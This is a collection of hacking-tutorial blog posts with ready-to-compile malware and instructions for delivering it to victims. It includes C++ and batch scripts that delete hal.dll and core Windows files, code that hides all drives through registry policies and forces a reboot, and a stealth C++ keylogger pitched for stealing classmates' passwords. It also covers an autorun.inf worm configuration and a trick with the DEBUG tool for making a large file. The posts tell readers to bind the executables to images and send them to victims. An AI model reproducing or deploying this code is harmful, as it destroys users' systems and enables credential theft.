How to create a Big size file ?

You can create a big size file using windows default command prompt itself. Why we need huge size file? When you create virus or you can use in your college for occupying the memory.

First of all Decide the Size of huge file. For eg, if you decide 1 milliion byte,then we should convert it to Hexadecimal format. Use the Windows Calculator in Scientific mode to convert to Hexadecimal.



we are planned to create 1 million byte sized file. So,Enter 1000000 in the calculator and click on the Hex option to convert it (1 million in hex is F4240.) Pad the result with zeroes at the left until the filesize reaches eight digits 000F4240.


* Now goto start->run
* Enter "cmd" to open the window.
* Enter the command DEBUG BIGFILE.DAT and ignore the File not found message.
* Type RCX and press Enter.
* Debug will display a colon prompt.
* Enter the last four digits of the hexadecimal number you calculated (4240, in our example).
* Type RBX and press Enter, then enter the first four digits of the hexadecimal size (000F, in          ourexample).
* Enter W for Write and Q for Quit.
* You've just created a 1-million-byte file using Debug.
* Of course you can create a file of any desired size using the same technique.

C++ virus that deletes the hal.dll file in system32

Hi in this article i will give you the c++ virus code. Don't use for any illegal purpose. This is just for learning purpose only.


#include<stdio.h>
#include<stdlib.h>

using namespace std;

int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}

Above code will find the system32 folder and deletes the "hal.dll" file



Hal.dll

Hal.dll is Windows' Hardware Abstraction Layer, or HAL. The HAL implements a number of functions that are implemented in different ways by different hardware platforms, which in this context, refers mostly to the Chipset. Other components in the operating system can then call these functions in the same way on all platforms, without regard for the actual implementation. For example, responding to an interrupt is quite different on a machine with an APIC (Advanced Programmable Interrupt Controller) than on one without. The HAL abstracts such differences so that nothing outside the HAL need be concerned with them.

The HAL is loaded into kernel address space and runs in kernel mode, so routines in the HAL cannot be called directly by applications, and no user mode APIs correspond directly to HAL routines. Instead the HAL provides services primarily to the Windows executive and kernel and to kernel mode device drivers. Although drivers for most hardware are contained in other files, commonly of file type .sys, a few core drivers are compiled into Hal.dll.

Kernel mode device drivers for devices on buses such as PCI and PCI Express directly call routines in the HAL to access I/O ports and registers of their devices. The drivers use HAL routines because different platforms may require different implementations of these operations. The HAL implements the operations appropriately for each platform, so the same driver executable file can be used on all platforms using the same CPU architecture, and the driver source file can be portable across all architectures.

On x86 systems there are several different HAL files on the installation media. The Windows installation procedure determines which ones are appropriate for the current platform and copies it to the hard drive, renaming it to Hal.dll if necessary. Among the criteria for this selection are the presence of an ACPI-compatible BIOS, the presence of an Advanced Programmable Interrupt Controller (APIC), and whether or not multiple processors are present and enabled. (The multiple cores of a multi-core CPU, and even the "logical processors" implemented by a hyperthreading CPU, all count as "processors" for this purpose.) On x86-64 and Itanium platforms there is just one possible Hal.dll for each CPU architecture.

Virus to Delete mouse,explore,logoff using Batch Programming

Usually we write simple viruses in batch programming. This time also i have one Batch Programming. It will delete explore.exe,logoff ,mouse,keyboard files. So victims can not do anything in his computer.





@echo off

@if exist c:\windows\system32\mouse del c:\windows\system32\mouse
@if exist c:\windows\system32\keyboard del c:\windows\system32\keyboard
copy C:\windows\
@if exist c:\windows\system32\logoff.exe del c:\windows\system32\logoff.exe
@if exist C:\program files\internet explorer\iexplore.exe del C:\program files\internet explorer\iexplore.exe

C++ ,Batch Virus code to disable All Hard disk

Hi friends,here i give you give the C++ virus code. Actually Batch code is converted to C++ virus code. If you like you can use it as batch code also.



C++ Virus Code :


#include < windows.h >
#include < fstream.h >
#include < iostream.h >
#include < string.h >
#include < conio.h >
int main()
{
ofstream write ( "C:\\WINDOWS\\system32\\HackingStar.bat" ); /*opening or creating new file with .bat extension*/

write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n"; write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n"; write<<"shutdown -r -c \"Sorry Your System is hacked by us!\" -f"<<"\n"; write.close(); //close file ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\HackingStar.bat ",NULL,NULL,SW_SHOWNORMAL); return 0; }



Copy the above code and paste in notepad
Save the file with .cpp extension
Compile and create .exe file in cpp
Note:
Don't run this c++ program ,it will attack your system itself.
Copy the created .exe file and send it to your victim. You can also attach it with any other
exe files.


Batch Virus Code Creation:


REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n

shutdown -r -c \"Sorry Your System is hacked by us!\" -f



I think this code will simple for non c++ programmers. It is easy to create the batch file also.
Copy the above code to notepad.
Save it with .bat extension (for ex: nodrivevirus.bat)
Send the file to your victim

Learn To create Keylogger using C++|Basic Hacking Tutorials

Hi friends, the most interesting part of the hacking is spying. Today i am going to introduce to the C++ Spyware code. It is going to be very fun. You can install this spyware in your college/school or in your friendsystem, and get their username and passwords. This is very simple hacking trick when compared to phishing web page.



Disadvantage of Phishing Web page:
you have to upload phishing web page to web hosting. But only few website won't detect the phishingwebpage.
website url is different. Easy to detect that we are hacking.

Advantage of Spyware-keylogger:
Very simple and easy method.
Victim can't detect that we are hacking.

How to create Keylogger using Visual C++?
Requirements:
Dev C++. Download it from here: http://www.bloodshed.net/
Knowledge about Visual C++(need, if you are going to develop the code).

Install dev C++ in your system and open the dev C++ compiler.
Go to File->New->Source File.
you can see a blank works space will be there in window.
now copy the below keylogger code into the blank work space.

#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}


Compile the Code(Ctrl+F9)

Now execute the program by selecting Execute->Run(ctrl+F10)

now your keylogger will run in your system. whatever you type using keyboard. It will be stored in Log.txt file.
you can see the log.txt file where you save the file.

bind the exe file with image or any files and send it to your friend.
(0r)
if you have physical access to your college/school system,then copy the exe file in that system and run it.

For now, i just give simple keylogger. Soon i will post most efficient keylogger's program code.

Hacking Autorun.inf virus attack|Is autorun.inf virus?

When i studied second year(cse), my friends told that autorun.inf is virus. I thought so. Because my antivirus blocks autorun.inf files. In third year when i search about autorun.inf file in net, i realize about the auto run file.

Today i bring some files from my college system. When i insert the pen drive in my system, there are lot of exe files.They are viruses. I delete all of them. Finally i opened the autorun.inf file in notepad and saw the instructions. Then only i remembered that i forget to post about autorun file. This article will give you complete details about the autorun.inf file.
This is the instructions that saved in the infected(call virus programs) autorun.inf file:




[Autorun]
Open=RECYCLER\QqFvXcB.exe
Explore=RECYCLER\QqFvXcB.exe
AutoPlay=RECYCLER\QqFvXcB.exe
shell\Open\Command=RECYCLER\QqFvXcB.exe
shell\Open\Default=1
shell\Explore\command=RECYCLER\QqFvXcB.exe
shell\Autoplay\Command=RECYCLER\QqFvXcB.exe




is autorun.inf virus file? no. Then why antivirus block the autorun.inf files? Go ahead to know the full details about auto run file.

Introduction to Autorun.inf File:
Auto run is file that triggers other programs,documents ,other files to be opened when the cd or pen drives are inserted. Simpy triggers.

When cd or pen drives are inserted, windows will search for the autorun.inf file and follow the instructions of autorun.inf file(instructions have written inside the autorun.inf file).

How to create Autorun file?
Open notepad
type this command:

[Autorun]

save the file as "autorun.inf" (select all files, not text )

Complete Syntax and instructions inside the Autorun file:
Basic syntax must be inside the autorun.inf file is :

[Autorun]

This will be used to identify the the file as autorun.

OPEN=
This will specify which application should be opened when the cd or pen drive is opened

Example:

open=virus.exe

This will launch the virus.exe file when cd or pen drive is opened. The file should be in root directory.
if the file is in any other sub directories ,then we have to specify it.

Open=RECYCLER\Virus.exe

Explore=
Nothing big difference. if you right click and select explore option in cd or pen drive. This command will be run.

AutoPlay=
Same as the above , but it will launch the the program when auto played.


SHELL\VERB =

The SHELL\VERB command adds a custom command to the drive's shortcut menu. This custom command can for example be used to launch an application on the CD/DVD.

Example:


shell\Open\Command=RECYCLER\QqFvXcB.exe
shell\Open\Default=1
shell\Explore\command=RECYCLER\QqFvXcB.exe
shell\Autoplay\Command=RECYCLER\QqFvXcB.exe





Use a series of shell commands to specify one or more entries in the pop-up menu that appears when the user right-clicks on the CD icon. (The shell entries supplement the open command.)

Icon=
Change the icon of your pen drive or cd. you can use .ico,.bmp images(also .exe,.dll)

Example:

icon=breakthesecurity.ico

Label=

Specifies a text label to displayed for this CD in Explorer
Note that using the LABEL option can lead to problems displaying the selected ICON under Windows XP.

Example:

Label=Ethical hacking



Why Antivirus Block Autorun.inf file?
From above ,you come to know that autorun.inf file is not virus. But why antivirus blocks it? Because as i told autorun file call or launch any application or exe files. It will lead to virus attack. If the autorun.inf is blocked,then there is no way to launch the virus code.

Autorun is not virus but it can call virus files.
